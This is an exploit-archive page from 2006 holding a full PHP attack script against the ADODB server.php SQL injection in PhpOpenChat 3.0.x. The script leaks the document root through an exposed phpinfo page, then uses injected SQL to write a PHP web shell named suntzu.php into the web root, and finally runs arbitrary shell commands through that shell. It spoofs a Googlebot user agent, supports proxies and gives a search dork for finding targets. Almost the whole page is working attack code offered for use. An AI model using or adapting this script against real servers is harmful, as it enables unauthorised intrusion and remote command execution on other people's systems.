exploits , vulnerabilities , articles , ADODB < 4.70 (PhpOpenChat 3.0.x ) Server.php SQL Injection Exploit

Rated as : Moderate Risk

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpOpenChat 3.0.x ADODB Server.php \"sql\" SQL
injection\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: Welcome to your PHPOpenChat-Installation!\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd
OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to PhpOpenChat\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /chat/ \r\n";
echo "php ".$argv[0]." localhost /chat/ ls -la
-p81\r\n";
echo "php ".$argv[0]." localhost / ls -la
-P1.1.1.1:80\r\n";
die;
}
/*
 this is based on

 http://www.securityfocus.com/bid/16187

 but... look at the server.php source code:

...
$driver = 'mysql';
$host = 'localhost'; // DSN for odbc
$uid = 'root';
$pwd = '';
$database = 'test';
...

you need a "root" user with no password, an existent
"test" database
and Mysql to have certain rights to write files...
so, this vulnerability is very hard to exploit
however, here is the code for PhpOpenChat, you can easily change it to
work
against the program you want
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n";
$exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to
".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo
'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

#step 1->read DOCUMENT ROOT from phpinfo
$packet ="GET
".$p."include/adodb/tests/tmssql.php?do=phpinfo
HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("DOCUMENT_ROOT </td><td
class=\"v\">",$html);
$temp2=explode(" </td></tr>",$temp[1]);
$fullpath=$temp2[0];
$fullpath=trim($fullpath);
echo "DOCUMENT ROOT ->".$fullpath."\r\n\r\n";
$fullpath=str_replace("\\","\\\\\\\\",$fullpath); //
win boxes
if ($fullpath=="")
{
echo $html;
die("\r\n\r\nCannot read phpinfo ...\r\n");
}

#step 2->execute a query (you can regardless of magic_quotes_gpc)
$SQL ="SELECT '<?php echo
chr(0x2a).\"delim*\";passthru(\$_GET[\"cmd\"]);echo
chr(0x2a).\"delim*\";?>',0,0,0,0,0 ";
$SQL.="INTO DUMPFILE '".$fullpath."/suntzu.php' FROM
poc.poc_user_account LIMIT 1";
$SQL=urlencode($SQL);
$packet ="GET ".$p."include/adodb/server.php?sql=$SQL
HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"Access denied") || !strstr($html,"200
OK") || strstr($html,"Can't connect"))
{
echo $html;
die("\r\n\r\nExploit failed...\r\n");
}
sleep(1);
#step 3->launch commands
$packet ="GET /suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!strstr($html,"*delim*"))
{
echo $html;
die("\r\n\r\nExploit failed...\r\n");
}
else
{
echo "Exploit succeeded...\r\n";
$temp=explode("*delim*",$html);
echo $temp[1];
}
?>
securitydot.net - 2006-04-09